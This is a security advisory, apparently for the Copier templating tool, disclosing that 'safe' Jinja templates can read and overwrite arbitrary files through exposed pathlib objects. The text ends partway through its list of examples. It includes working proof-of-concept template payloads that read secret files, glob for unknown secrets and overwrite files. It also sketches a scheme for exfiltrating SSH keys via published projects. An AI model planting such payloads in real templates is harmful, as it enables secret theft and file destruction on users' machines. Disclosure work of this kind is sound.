Copier's safe template has arbitrary filesystem read/write access

Impact

Copier's current security model shall restrict filesystem access through Jinja:

• Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
• Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

• Read known file:

  echo "s3cr3t" > secret.txt
  mkdir src/
  echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
  uvx copier copy src/ dst/
  cat dst/stolen-secret.txt
  

• Read unknown file(s) via globbing:

  mkdir secrets/
  echo "s3cr3t #1" > secrets/secret1.txt
  echo "s3cr3t #2" > secrets/secret2.txt
  mkdir src/
  cat <<'EOF' > src/stolen-secrets.txt.jinja
  stolen secrets:
  {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
  {% for f in parent.glob('*.txt') %}
  {{ f }}: {{ f.read_text('utf-8') }}
  {% endfor %}
  EOF
  uvx copier copy src/ dst/
  cat dst/stolen-secrets.txt
  

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

• Overwrite known file:

  echo "s3cr3t" > secret.txt
  mkdir src/
  echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
  uvx copier copy src/ dst/
  cat secret.txt
  

• Overwrite unknown file(s) via globbing: